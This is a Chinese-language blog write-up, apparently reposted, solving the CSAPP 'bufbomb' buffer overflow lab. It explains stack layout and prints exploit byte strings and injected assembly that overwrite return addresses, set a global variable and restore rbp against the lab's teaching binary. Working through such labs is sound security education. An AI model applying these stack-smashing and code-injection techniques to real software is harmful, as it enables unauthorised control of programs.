csapp lab3 bufbomb 緩存區溢出攻擊 《深入理解計算機系統》


這個實驗主要是熟悉棧,和了解數據緩存區溢出的問題。

數據緩存區溢出:程序每次調用函數時,會把當前的eip指針保存在棧里面,作為被調用函數返回時的程序指針。在被調用程序里面,棧是向下增長的。所有局部變量都存儲在棧里面(靜態局部變量除外)。假設有一個字符串變量str,在str讀取數據時,如果緩存區沒有進行一定的保護,會造成緩存區的溢出。由於棧是向下增長的,但是對於一個變量,如str,他的數據存儲順序是向上增長的。所以當緩存區溢出時,可能對eip的返回指產生影響,可以通過輸入,來改變eip指針的值,從而控制程序返回的地址。


 

Level 0: Candle


第一個實驗,是通過數據緩存區溢出,來對程序進行修改。

 

程序是一個字符串的輸入程序,如果輸入超過40個,就會說輸入錯誤。

試驗一就是要通過查看程序的棧幀,進行緩存區溢出攻擊,通過輸入,改變程序的返回地址。

 

void test()
{
  unsigned long long val;
  volatile unsigned long long local = 0xdeadbeef;
  char* variable_length;
  entry_check(3);  /* Make sure entered this function properly */
  val = getbuf();
  if (val <= 40) {
	variable_length = alloca(val);
  }
  entry_check(3);
  /* Check for corrupted stack */
  if (local != 0xdeadbeef) {
	printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
	printf("Boom!: getbuf returned 0x%llx\n", val);
	if (local != 0xdeadbeef) {
	  printf("Sabotaged!: the stack has been corrupted\n");
	}
	validate(3);
  }
  else {
	printf("Dud: getbuf returned 0x%llx\n", val);
  }
}

 


unsigned long long getbuf()
{
  char buf[36];
  volatile char* variable_length;
  int i;
  unsigned long long val = (unsigned long long)Gets(buf);
  variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
  for(i = 0; i < 36; i++)
  {
	variable_length[i] = buf[i];
  }
  return val % 40;
}


test函數調用getbuf()函數,來輸入字符串。然后判斷輸入的字符串長度。

實驗要求,輸入一個字符串,然后是getbuf()完成后,跳轉到smoke()函數,而不是test函數。


首先,進入getbuf函數,查看getbuf的棧幀。


可以看到,程序的返回地址存儲在rip中,地址是:


也就是要通過輸入,改變0x7fffffffb1a8地址中的值。

根據程序:

 

char buf[36];
  volatile char* variable_length;
  int i;
  unsigned long long val = (unsigned long long)Gets(buf);

 

 

我們的輸入存在buf這個變量里面,查看buf這個變量的地址:


上面兩個地址相減,就是:0xb1a8-0xb170=0x38=56

也就是我們要輸入56個字符串,然后再輸入想要轉化的地址。


現在只要知道smoke的函數入口地址就可以了,

通過查看smoke的第一行的地址,就可以知道函數入口地址


知道smoke入口地址是0x4010c0

只要在最后輸入0x4010c0就可以了,但是因為機器是小端法的機器,所以輸入要反一下,要輸入C0 10 40 00

綜上最后的輸入為:

 

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00

前面56個輸入,只要不要有換行符就行了

 

最后的結果:



成功調用了smoke


 

Level 1: Sparkler

Similar to Level 0, your task is to get bufbomb to execute the code for fizz() rather than returning to test. In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.


要求就是進入fizz函數,然后使cookie的值和val的值相同。

void fizz(int arg1, char arg2, long arg3,
    char* arg4, short arg5, short arg6, unsigned long long val)
{
    entry_check(1); /* Make sure entered this function properly */
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%llx)\n", val);
        validate(1);
    }
    else
    {
        printf("Misfire: You called fizz(0x%llx)\n", val);
    }
    exit(0);
}



直接通過改變val的值,使val的值和cookie的值相等,來解決問題。
這里具體的做法就是找到val的地址,然后通過寫入的字符串來改變那個地址上面的值,此方法和實驗一的過程比較像,就不展開了。


Level 2: Firecracker

Similar to Levels 0 and 1, your task is to get  bufbomb  to execute the code for  bang()  rather than returning to  test() . Before this, however, you must set global variable  global_value  to your cookie. Your exploit code should set  global_value , push the address of  bang()  on the stack, and then execute a  retq  instruction to cause a jump to the code for  bang() .

unsigned long long global_value = 0;

void bang(unsigned long long val)
{
    entry_check(2); /* Make sure entered this function properly */
    if (global_value == cookie)
    {
       printf("Bang!: You set global_value to 0x%llx\n", global_value);
       validate(2);
    }
    else
    {
        printf("Misfire: global_value = 0x%llx\n", global_value);
    }
    exit(0);
}

這個實驗要求把getbuf函數結束之后,跳轉到bang這個函數里面來,然后global_value的值需要和cookie一樣。一開始我以為這個和前面第二個的實驗差不多,后來gdb進去一看,global_value由於是全局變量,根本不在棧里面,像實驗二一樣,通過直接改global_value的值是不行的。
后來看了一下實驗給的建議,知道是要讓我在緩存區里面寫一段代碼,通過這段代碼來改變變量的值。原來還能這么玩,太牛逼了。
首先,寫一段匯編,是把global_value的地址里面的值改掉:
.data
.text
main:
MOVQ $0x602308 ,%rax
MOVQ $0x704537f05ce48c45 ,%rbx
movq %rbx,(%rax)
push $0x401020
ret

然后用gcc編譯一下,在反匯編,得到他的二進制表示:

得到的反匯編文件:


只要把前面那些二進制代碼作為輸入,就可以了
最后的輸入是:

 

 

48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

在這里和第二個實驗還有點不一樣的地方就是把rip的地址改為了buf的首地址,這樣,當getbuf函數返回的時候,會把這段代碼作為返回地址,然后執行。

 

最后結果:


成功更改了global_value的值。

代碼,數據,對計算機來說都是0,1而已,沒有區別。


 

Extra Credit – Level 3: Dynamite

Your job for this level is to supply an exploit string that will cause  getbuf()  to return your cookie back to  test() , rather than the value 1. You can see in the code for  test()  that this will cause the program to go " Boom! "
oid test()
{
  unsigned long long val;
  volatile unsigned long long local = 0xdeadbeef;
  char* variable_length;
  entry_check(3);  /* Make sure entered this function properly */
  val = getbuf();
  if (val <= 40) {
	variable_length = alloca(val);
  }
  entry_check(3);
  /* Check for corrupted stack */
  if (local != 0xdeadbeef) {
	printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
	printf("Boom!: getbuf returned 0x%llx\n", val);
	if (local != 0xdeadbeef) {
	  printf("Sabotaged!: the stack has been corrupted\n");
	}
	validate(3);
  }
  else {
	printf("Dud: getbuf returned 0x%llx\n", val);
  }
}


 

這個實驗就是讓我把getbuf里面的返回值改成cookie的值,和上一個實驗都是一樣的,唯一需要注意的是,在程序里面有一個local的變量,用來檢測棧地址有沒有被改變。因為local的變量是通過rbp間接尋址得到的,所以在匯編程序里面需要改變rbp的值,使他指向正確的rbp;


寫入的匯編代碼如下:


然后把這些二進制的代碼寫入到字符串,寫入的字符串為:

 

48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  


最后在gdb里面得到的結果:

 


總結:終於搞完這個東西了,匯編編程還真是麻煩,雖然只有幾行,但是錯誤真是難找。記得第三個實驗我傳值的時候忘記掉了$符號,結果傳進去的值不是立即數,而是間接地址上的數,因為這個錯,弄了一晚上,一直以為是自己字符串輸錯了……真是蛋疼



版權聲明:本文為博主原創文章,未經博主允許不得轉載。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM